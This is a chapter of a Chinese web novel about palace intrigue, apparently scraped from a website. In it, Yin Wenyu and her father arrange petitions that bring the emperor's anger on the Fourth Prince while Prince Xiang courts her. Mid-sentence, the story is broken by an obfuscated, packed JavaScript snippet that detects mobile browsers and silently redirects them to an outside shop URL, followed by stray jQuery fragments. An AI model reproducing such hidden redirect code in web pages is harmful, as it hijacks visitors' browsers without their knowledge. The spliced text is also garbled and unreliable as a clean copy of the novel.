48. 第 48 章

作品:《帅气美人被嫌弃后

    几日后,殷闻钰被父亲叫回家,说是有一桩小事要与她议一议。


    晚饭后她进了父亲书房,她看到方仲谦送的长兵器和湘王送的匕首,都躺在这里,在博古架顶上,而顶上只摆这两件。


    她的面皮不由自主的烧起来。


    “爹,这摆放合适么?”她仰头看着那两件乌漆麻黑的冷兵器。


    “怎么不合适?太合适了,等你把人定下来,我就取一件下来,谁让你迟迟未决呢”


    女人选汉子怎么这么麻烦呢?不过鉴于第一次失败的惨痛,他愿意多给她一点时间。


    “前些日,四皇子呈了一篇文章到御前,这文章我看了,不像他写的,这就是奇怪之处,他平常不是这样的作派。”


    殷闻钰静静听,并不发表意见。


    “这是四皇子不寻常之处,还有湘王,我本以为你若选他,我就多个富贵闲人女婿,看你们一生安稳尽够了,可如今湘王也不寻常了,前些日子接了东宫詹事府事务,十分勤勉诸事妥帖。”殷侍郎摇头,“不对劲,这兄弟俩一齐变了,像是约好的一样,但他们绝无可能相约,他们这干劲,像是......”


    殷闻钰叹气:“那么你觉得太子寻常吗?”


    “太子就更不寻常了。”殷侍郎看向女儿,“但为父不敢胡乱揣测。”


    殷闻钰郑重回视:“父亲,朝局将变,您心里要有个准备。”


    她没有细说,父亲能猜到一些。


    殷侍郎面皮发紧:“湘王已卷入其中,你和他之间......你打算把自己搅进去吗?”


    殷闻钰低头摆弄腰间玉饰:“搅不搅,已经进去一半了。”


    殷侍郎沉吟片刻,甩开大步在宽阔的屋里走,走了一阵停下来。


    “他二人皆有希望,这是一个很深的漩涡,你说你搅进去一半,那么你打算抽身,还是继续搅?”


    殷闻钰前几日就考虑好了。


    “搅。”


    殷侍郎叹气,深深地看着她,眼神无奈:“怎么这么像我呢?唉,不好!”


    才出书房门,姐姐殷容容就一头撞上来,对着她嚷嚷:“怎么这么巧啊!正好,今夜月色缠绵,我教你学绣花儿。”


    月色与绣花有什么神奇的联系吗?何况月色从未缠绵,只有冷清孤独。


    殷闻钰还没说什么,就被殷侍郎驳了:“绣什么花?能吃吗?她不绣花。”


    殷容容嬉笑:“多掌一门技艺也是好的,以后她可以一手拈针一手提枪,多威风多别致!”


    殷闻钰被她拉着向父亲告辞。


    依旧是回姐姐的旧闺,姐姐回娘家频繁,屋里用度齐全,后院搭起的半片私庭荒废多年,姐姐心血来潮又整饬起来了。


    斑驳的旧围栏没有补新漆,只是擦得锃亮,垂纱换了新的,颜色偏暗沉,隔出一方小天地,置身其中,不经意地念一念往事,有一种时光闪回的错觉。


    殷容容长久地盯着她看,她不甚自在,提议道:“姐姐,你教我绣花吧。”


    两人回正屋取针线,点起两盏琉璃灯。


    屋里光线充足,但她笨手笨脚,不是那块料,心里又在走神,想着怎么不动声色地把四皇子按下去,绣出来的图案粗糙且狰狞。


    像她此刻的心情。


    四皇子是个色胚,方伯砚风光得意时,两男有过浅交,在交游场中相谈甚欢互相恭维,算是狐朋狗友。


    那样的人怎么好意思肖想皇位?女人的官司都断不明白,怎么有精力管理整个华夏?他要如何处理大量外戚衍生出来的问题?还有......


    相较之下,湘王洁身自好,是个正经人,不正经的事只对她一人做过。


    闲着也是闲着,不如伸手搅一搅。


    她的想法不一定对,但她就要按自己的想法去搞一把。


    色胚凭什么当皇帝?呸!


    殷容容拿过她的成品,眉毛一撇:“这什么东西?”


    “不是什么东西,我在想国家大事,别打扰我。”


    “呵呵,哈哈哈!”殷容容笑得在床上滚,“快想快想,我等不及了。”


    殷闻钰嫌弃地瞟一眼被她滚得稀巴烂的床:“今晚我不睡这里。”


    她托腮沉思,被殷容容一把搂住,整个人摔到床上。


    她伸手推开对方:“你总往娘家跑,姐夫孤枕难眠。”


    “吵架了,让他孤枕难眠,还是妹妹香。”


    殷容容又同她闹起来,跟她抢被子玩,一个趔趄倒在她身上,赶紧爬起来问:“痛不痛?”


    她无知无觉,眼睛看向床顶,缓缓咧开一个诡异的笑容:“不痛不痛,四皇子痛痛。”


    殷容容脸上绽开一个问号。


    她没有解答姐姐的疑惑,保持这个奇怪的笑容,翻身闭眼,今夜好眠。


    四皇子在湘王身上多用了几分心思,放了些耳目留意,得了一个消息:湘王心情不畅,某一次突然哭出来,怎么安慰都没有用。


    越发印证了幕僚的猜测,然而他那任四品官的姨父私下告诫他,近日朝中空气不好,有些动荡,希望他稳住。


    他问稳住是何意,尺度在哪里,姨父说不上来,只叫他跟从前一样按部就班,而他最近似乎有些活跃了。


    不就是一篇文章嘛,四皇子不觉得有什么问题,他稳着呢。


    他与湘王争锋的苗头,有这么明显吗?连憨直的姨父都瞧出来了,那么湘王瞧出来没有,还有皇帝......


    皇帝连着收到两封为四皇子请封的奏章,文中称四皇子赵奉贤勤勉笃实,娴于政务,可谓国之栋梁,贵游楷模,宜早定封爵,以示嘉赏之意。


    他心下不快,他不给的谁也别腆着脸要,手伸太长了就要敲打,而且在这个节骨眼上,这心思值得猜一猜......


    早朝又有一名五品官提起此事,虽然只是轻描淡写几句就归位,到底惹得皇帝不痛快。


    午膳后气还没消,令人传四皇子来见。


    四皇子觉得幕僚的话有理,要抢占先机,姨父的话也没错,什么样的形势下,“稳”都是不出大错的。


    姨父进士出身这辈子就止步于四品官了,他的举子幕僚从一个偏远的县城蹦跶到京城再在他面前露脸最后得了他青眼,凭的可不是什么“稳”!


    权衡再三,各采纳了一半。


    今日穿了官服进宫,不知皇帝有什么话说,心中不免激荡。


    皇帝召见是好事,总比被当成空气晾着好。


    他有些时日没见着他皇帝爹了,抬脚进门只望了一眼,就暗暗心惊:跟湘王一样的愁苦脸,看来他的幕僚是对的,有大事悄悄发生了,就是瞒着他。


    不清楚是公事还是私事,他请安后接着行跪拜礼,礼数周全总不会有错。


    他暗暗觉得自己很聪明,皇帝却没叫他起来,一声不吭,就让他直挺挺的跪着。


    他不敢贸然抬头,当皇帝不高兴的时候,偷窥龙颜也是罪过。


    等了半柱香的功夫,皇帝不紧不慢问:“前些时呈上来的文章是你亲笔?”


    四皇子心口一突,镇定道:“是儿子亲笔所写,动笔之前与客僚有些议论。”


    皇帝盯着他半垂的脑袋:“起来说话。”


    四皇子起身,但没有座位,内殿靠窗摆着一个小几,上面有一个铃铛和一个拨浪鼓,旁边有两张椅子,他看了一眼,收回目光。


    湘王来禀事是不是坐在那里逗他的宝贝大侄子玩?或许湘王与他一样老老实实站成雕像呢,这么一想心里就舒服了点。


    “有人为你请封,自己看。”皇帝丢来两本奏章。


    留中未发,这是驳回的意思?


    两个轻薄小册子落到脚下,他胆战心惊地看完,噗通一声跪下:“此事与儿臣无关,陛下明鉴!”


    皇帝口气寡淡:“怎会与你无关?是给你请封。”


    四皇子又恨又气,他早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027387|192240||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了封王的年纪,大臣上书为他请封,不是天经地义么?怎么看皇帝这孤寡脸,是他做了不得了的逆天之事?


    怨恨与恐慌中,心里窜出一个念头:姨父是对的,稳!按部就班!


    他为自己争辩:“这两位大人,儿臣并无交情往来呀!”


    咬咬牙,道出心中愤懑:“况且,他们所陈之事......也算合乎情理!”


    此言一出,皇帝脸色越发阴沉,大喝:“还要狡辩!朕看你平日勤恳,多给你几分脸面,竟不知你会如此不知颠倒!”


    四皇子身子一抖,又一抖,老老实实跪着,皇帝这一遭有小题大做的嫌疑,谁叫他倒霉撞在刀口上了,眼下能做的事就是尽力分辨了。


    “儿臣向来谨守分寸,绝不敢妄为,此二人与儿臣无干。”


    皇帝不信,重重一哼:“当然与你无干,难道你会蠢到找两个相干的来说?”


    四皇子感觉牙齿都疼起来了,跟不讲理的皇帝说话费劲又伤心。


    意思是这俩上书的大臣,与他相干也好,不相干也好,都是他的错咯?


    真是气死人了!气死人了!


    四皇子眼里适时滚出两串泪,他不知道这两串泪怎么来得如此突然如此及时,可能是被皇帝气的。


    父子君臣来回扯了一会,一个不认大呼冤枉,一个敲打厉声警告,半个时辰后四皇子饥肠辘辘的出来。


    面圣,真是一件可怕的事,伤心伤身。


    他徒步出宫,这遭受的气一点也不浪费,因为他心里越发笃定:这至高皇权他一定要攥到手的。


    殷闻钰换了一身素色常服出来,门口停着湘王的马车。


    今日湘王出来得早,在这里接人,碰到熟人就大方打招呼。


    有人说“王爷好清闲,羡煞我等。”


    他客气地笑:“好说好说。”


    有人说“等殷主事么?王爷有福啊!”


    他摆出一样的笑脸:“惭愧惭愧。”


    自从接到兄长的信,他就没过一天好日子,心里湿漉漉的,不经意就滴水。


    好在有她。


    和她待在一处,心头便宽松一些,想起她近日的亲近,心尖上就有一丝甜意长出来,能盖住悲伤。


    殷闻钰对他也有点刮目相看的意味。


    见了他不由自主地露了笑,坦然上车,这次不出城,湘王吩咐车夫闲走,车夫就缓缓御车绕着皇城兜圈子。


    “跟你说个好笑的,老四今日倒了霉,我听说他被皇帝召进宫,挨了一个时辰的骂,出来的时候灰头土脸。”一个时辰有点夸张,半个时辰是有的。


    殷闻钰笑了:“知道是为了什么事?”


    “你猜?”


    “有人给他请封,催皇帝给他加官进爵。”殷闻钰随口道。


    “你如何知道?”这消息传得也太快了吧。


    殷闻钰朝他眨眼:“我让我父亲办的。”


    湘王惊怔:“女官,你可太厉害啦!”


    “你也厉害,早朝上那位进言的五品官,我和我父亲都不知道哦!”


    湘王笑得无奈:“我不能让他得手,我跟他有仇,他得道升天我就没好日子过,我没好日子过,你......”


    他想说,他没好日子过,得到她的筹码就少了,甚至不如方仲谦;他没好日子过,在她面前就抬不起头;他没好日子过,她若归了他,就要跟他一起倒霉受苦......


    弊处太多了,谁都可以,绝不能是老四,所以他要提前把老四踩一脚。


    他是这样的想法,老四想必也一样,看他最近那股生机勃勃的劲儿就知道。


    “我怎样?”殷闻钰低头一笑,“跟你说件事,上个月的时候,我到工部第二十九天,见过他一次,他长得不如你好看。”


    湘王心尖上生出一双小翅膀,扑腾得欢快。


    殷闻钰接着道:“但他以为他长得好看,朝我飞了一个媚眼。”